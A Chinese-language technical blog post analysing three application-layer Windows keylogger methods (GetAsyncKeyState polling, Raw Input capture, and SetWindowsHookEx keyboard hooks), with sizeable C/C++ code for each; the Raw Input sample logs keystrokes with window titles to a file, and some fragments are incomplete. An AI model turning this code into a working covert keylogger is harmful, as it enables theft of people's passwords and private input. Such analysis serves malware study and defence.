鍵盤記錄分析--應(yīng)用層

1.概述

鍵盤記錄是惡意軟件中常見的組成部分，被用于竊取用戶鍵盤輸入信息，是直接泄露用戶隱私的重要安全問題。鍵盤記錄器的種類繁多，有運行于應(yīng)用層的，有運行于內(nèi)核層的，還有硬件版的鍵盤記錄器。近期爆出惠普筆記本存在隱藏鍵盤記錄器，該鍵盤記錄器隱藏于聲卡驅(qū)動包中。

事實上，軟件記錄器由來已久，各大安全廠商也在防御軟件記錄器方面做出大量努力，但鍵盤記錄器的傳播與發(fā)展從未停止。

本文分析了三種常見的鍵盤記錄器：GetAsyncKeyState輪詢鍵盤消息、RawInputData直接從輸入設(shè)備獲取數(shù)據(jù)和SetWindowsHookEx利用鉤子函數(shù)。這三種鍵盤記錄器傳播廣泛，且都是運行于應(yīng)用層(ring3)。

2.GetAsyncKeyState——輪詢鍵盤消息

該方法其實是通過不斷檢測鍵盤上某一個鍵是否被按下來獲取鍵盤記錄。

該方法中最重要的API是GetAsyncKeyState( )：

publicstatic?extern?short?GetAsyncKeyState(int?vKey);

//vKey是虛擬按鍵碼可以用這三種表示：'1'，VK_LSHIFT，0x41，(但是用0x41只能捕捉到A不能捕捉到a)

GetAsyncKeyState判斷在此函數(shù)被調(diào)用時,某個鍵是處于UP狀態(tài)還是處于DOWN狀態(tài),及前次調(diào)用GetAsyncKeyState函數(shù)后,是否按過此鍵.如果返回值的最高位被置位,那么該鍵處于DOWN狀態(tài);如果最低位被置位,那么在前一次調(diào)用此函數(shù)后,此鍵被按過,否則表示該鍵沒被按過.

如鍵已被按過，則位0設(shè)為1；否則設(shè)為0。如鍵目前處于按下狀態(tài)，則位15設(shè)為1；如抬起，則為0。

調(diào)用GetAsyncKeyState循環(huán)判斷每一個鍵是否被按下，如果被按下返回值是0x8001(十進制：-32767)，即位0和位15都被置1。

調(diào)用GetKeyState(VK_CAPITAL)判斷VK_CAPITAL鍵狀態(tài)，區(qū)分大小寫。

//*********************關(guān)鍵代碼**************************

while(1){

Sleep(8);

if (GetAsyncKeyState(VK_SPACE) == -32767){

cout<< " ";

}

if (GetAsyncKeyState('A') == -32767){

if (GetKeyState(VK_CAPITAL)==1)

{cout<< "A";}

else {cout<< "a";}

}

if (GetAsyncKeyState('B') == -32767){

if (GetKeyState(VK_CAPITAL)==1)

{cout<< "B";}

else {cout<< "b";}

}

...

if (GetAsyncKeyState(VK_RETURN) == -32767){

cout<< endl;

}

if (GetAsyncKeyState('1') == -32767){

log << "1";

}

...

if (GetAsyncKeyState(VK_LSHIFT) == -32767){

log << " SHIFT-";

}

if (GetAsyncKeyState(VK_MENU) == -32767){

log << " ALT-";

}

}

//*************************************************************

3.RawInputData——從輸入設(shè)備獲取數(shù)據(jù)

利用原始輸入數(shù)據(jù)（RawInputData）獲取鍵盤記錄，首先要新建一個窗口類，并將其注冊為原始輸入設(shè)備（RegisterRawInputDevices），之后進入消息循環(huán)，在wndproc消息處理函數(shù)中利用GetRawInputData獲取RawInputData結(jié)構(gòu)體，解析這個結(jié)構(gòu)體獲得鍵盤按鍵信息并保存。

在逆向分析中，利用RegisterClass（）可以手動獲取WndProc()函數(shù)地址：

RegisterClass(&wndClass);中獲得wndClass結(jié)構(gòu)體，內(nèi)存中查找wndClass.lpfnWndProc的值。

GetForegroundWindow ----此函數(shù)用于獲取當(dāng)系統(tǒng)當(dāng)前的前臺窗口句柄，即當(dāng)前處于激活狀態(tài)下的窗口，此函數(shù)沒有參數(shù)。

FindWindow---此函數(shù)用于獲取具有參數(shù)指定的窗口類名和窗口標(biāo)題的窗口的窗口句柄。通常我們只用傳入第二個參數(shù)，也就是窗口的標(biāo)題名就可以了。

//*********************關(guān)鍵代碼**************************

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow)

{

//設(shè)置窗口類屬性

MSG ?msg;

HWND ???????????????hWnd;

WNDCLASS ???????????wndClass;

wndClass.style ?????????= CS_HREDRAW | CS_VREDRAW;

wndClass.lpfnWndProc????= WndProc;

wndClass.cbClsExtra ????= 0;

wndClass.cbWndExtra ????= 0;

wndClass.hInstance ?????= hInstance;

wndClass.hIcon ?????????= LoadIcon(NULL, IDI_APPLICATION);

wndClass.hCursor ???????= LoadCursor(NULL, IDC_ARROW);

wndClass.hbrBackground ?= (HBRUSH)GetStockObject(WHITE_BRUSH);

wndClass.lpszMenuName ??= NULL;

wndClass.lpszClassName ?= TEXT("Twnd");

//注冊創(chuàng)建窗口類

RegisterClass(&wndClass);

hWnd = CreateWindow(

TEXT("Twnd"), ??// window class name

TEXT("鍵盤記錄測試"), ?// window caption

WS_OVERLAPPEDWINDOW, ?????// window style

CW_USEDEFAULT, ???????????// initial x position

CW_USEDEFAULT, ???????????// initial y position

CW_USEDEFAULT, ???????????// initial x size

CW_USEDEFAULT, ???????????// initial y size

NULL, ????????????????????// parent window handle

NULL, ????????????????????// window menu handle

hInstance, ???????????????// program instance handle

NULL); ???????????????????// creation parameters

//注冊原始輸入設(shè)備類

if(!RegisitKeyBord(hWnd))

return 0;

ShowWindow(hWnd, SW_SHOW);

UpdateWindow(hWnd);

//進入消息循環(huán)

while(GetMessage(&msg, NULL, 0, 0))

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return 0;

}

// WndProc中利用GetRawInputData獲取RawInputData結(jié)構(gòu)體，解析這個結(jié)構(gòu)體獲得鍵盤按鍵信息

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)

{

HDC ?????????hdc;

PAINTSTRUCT ?ps;

char vk[256] = {'\0'};

char ti[256] = {'\0'};

UINT ???????dwSize;

LPBYTE ?????lpb = NULL;

RAWINPUT* ??raw = NULL;

DWORD ??????dwWritten = 0;

PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData");

switch(message)

{

case WM_INPUT:

if(NULL == GetRawInputData)

{

DefWindowProc(hWnd, message, wParam, lParam);

return 0;

}

GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));

lpb = new BYTE[dwSize];

if(lpb == NULL)

{

DefWindowProc(hWnd, message, wParam, lParam);

return 0;

}

if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)

break;

raw = (RAWINPUT*)lpb;

if (raw->header.dwType == RIM_TYPEKEYBOARD)

{

if ( prev == NULL)

{

prev = GetForegroundWindow();

//GetForegroundWindow在用戶模式下檢測軟件切換

GetWindowText(prev,ti,256);

wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));

}

else if ( prev == GetForegroundWindow() )

{

wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));

}

else

{

prev = GetForegroundWindow();

GetWindowText(prev,ti,256);

wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));

}

if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)))

{

SetFilePointer(hFile, 0, NULL, FILE_END);

WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL);

}

}

delete[] lpb;

DefWindowProc(hWnd, message, wParam, lParam);

return 0;

case WM_PAINT:

hdc = BeginPaint(hWnd, &ps);

TextOut(hdc, 10, 10, szInfo, strlen(szInfo));

TextOut(hdc, 10, 30, szTips, strlen(szTips));

EndPaint(hWnd, &ps);

return 0;

case WM_DESTROY:

PostQuitMessage(0);

CloseHandle(hFile);

return 0;

default:

return DefWindowProc(hWnd, message, wParam, lParam);

}

}

PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)

{

HMODULE hDll = LoadLibraryA(dllname);

if(NULL == hDll)

return NULL;

PVOID pProc = GetProcAddress(hDll, procname);

FreeLibrary(hDll);

return pProc;

}

BOOL RegisitKeyBord(HWND hwnd)

{

if(NULL == hwnd)

return false;

PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");

if(NULL == RegisterRawInputDevices)

return false;

RAWINPUTDEVICE rid;

rid.usUsagePage = 0x01;

rid.usUsage = 0x06;

rid.dwFlags = RIDEV_INPUTSINK;

rid.hwndTarget = hwnd;

return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));

}

//*************************************************************

4.SetWindowsHook——利用鉤子函數(shù)

利用SetWindowsHookEx可以輕松實現(xiàn)消息鉤子。

鉤子過程是由操作系統(tǒng)調(diào)用的回調(diào)函數(shù)，安裝消息“鉤子”時，“鉤子”過程需要存在于某個DLL內(nèi)部，且該DLL的示例句柄即是SetWindowsHookEx中的參數(shù)hMod。這就是為什么要先加載dll，然后再鉤取。

具體過程：exe程序調(diào)用LoadLibrary(dll),加載dll程序，dllmain（）中switch(dwReason)進行DLL被加載或卸載時的操作。使用回調(diào)函數(shù)LRESULT CALLBACk ?Keyboardproc()，這是消息處理函數(shù)，先利用dll中的導(dǎo)出函數(shù)掛鉤，SetWindowsHookEx進行掛鉤，利用SetWindowsHookEx掛鉤后，消息會首先傳給dll，dll遇到消息就會調(diào)用消息處理的回調(diào)函數(shù)Keyboardproc，在這里會調(diào)用CallNextHookEx將消息傳遞給應(yīng)用程序(下一個“鉤子”)，UnhookWindowsHookEx脫鉤。這里只是實現(xiàn)了鍵盤鉤子的掛鉤和脫鉤，并沒有實現(xiàn)鍵盤記錄功能，鍵盤記錄功能是在回調(diào)函數(shù)函數(shù)Keyboardproc中實現(xiàn)的，類似RawInput中消息處理函數(shù)。

使用SetWindowsHookEx的好處在于，你可以同時鉤住所有桌面上的進程并確保監(jiān)聽到所有的鍵盤信息，而不是通過GetAsyncKeystate循環(huán)檢測每一個鍵的狀態(tài)這樣會遺漏一些記錄。

//*********************關(guān)鍵代碼**************************

//HookMain.cpp

void main()

{

//加載KeyHook.dll，會調(diào)用DLLMain，

hDll = LoadLibraryA(DEF_DLL_NAME);

...

FreeLibrary(hDll);

}

//KeyHook.cpp

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)

{

switch( dwReason )

{

case DLL_PROCESS_ATTACH:

g_hInstance = hinstDLL;

//掛鉤

SetWindowsHook(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);

break;

case DLL_PROCESS_DETACH:

UnhookWindowsHookEx(g_hHook);//脫鉤

break;

}

return TRUE;

}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{

char szPath[MAX_PATH] = {0,};

char *p = NULL;

if( nCode >= 0 )

{

// bit 31 : 0 => press, 1 => release

if( !(lParam & 0x80000000) )//釋放鍵盤按鍵時

{

GetModuleFileNameA(NULL, szPath, MAX_PATH);

p = strrchr(szPath, '\\');

//比較進程名稱，如果是DEF_PROCESS_NAME)則消息不會傳給應(yīng)用程序或下一個鉤子

if( !_stricmp(p + 1, DEF_PROCESS_NAME) )

return 1;

}

}

//CallNextHookEx消息傳給應(yīng)用程序或下一個鉤子

returnCallNextHookEx(g_hHook, nCode, wParam, lParam);

}

5.總結(jié)

本文介紹的三種鍵盤記錄器都比較簡單，網(wǎng)上也有許多分析文章。運行于Ring3的鍵盤記錄器很難躲過安全軟件的檢測，運行于Ring0的鍵盤記錄器則更加隱蔽精巧，以后再作分析。最后，筆者學(xué)歷不高，能力有限，歡迎各位指點補充。

本文內(nèi)容主要來源于互聯(lián)網(wǎng)，由于本文完成時間跨度較大，資源來源較雜，無法一一求證，如有侵權(quán)，歡迎告知。在此感謝所有傳播與分享知識的人。

最后編輯于 ：
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成，瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明：文章內(nèi)容（如有圖片或視頻亦包括在內(nèi)）由作者上傳并發(fā)布，文章內(nèi)容僅代表作者本人觀點，簡書系信息發(fā)布平臺，僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Windows 95中文輸入法編輯器（IME） 微軟 翻譯：TBsoft Software Studio ...
    returntrue閱讀 2,881評論 0贊 3
  • 本程序在 VS2003 下調(diào)試通過。 建立工程打開 VS2003 選擇 文件->新建->項目->Visual C+...
    wingkingcn閱讀 654評論 0贊 0
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具（例如配置管理，服務(wù)發(fā)現(xiàn)，斷路器，智...
    卡卡羅2017閱讀 136,540評論 19贊 139
  • 第1章 第一個C程序第2章 C語言基礎(chǔ)第3章 變量和數(shù)據(jù)類型第4章 順序結(jié)構(gòu)程序設(shè)計第5章 條件結(jié)構(gòu)程序設(shè)計第6章...
    小獅子365閱讀 10,869評論 3贊 71
  • 多少年過去，再回憶，曾經(jīng)以及現(xiàn)在的校園，灌溉了年少青春的時光，總有和老師的故事深深印在腦海里，不曾抹去。 一 你用...
    微笑的百合花閱讀 531評論 0贊 0

友情鏈接更多精彩內(nèi)容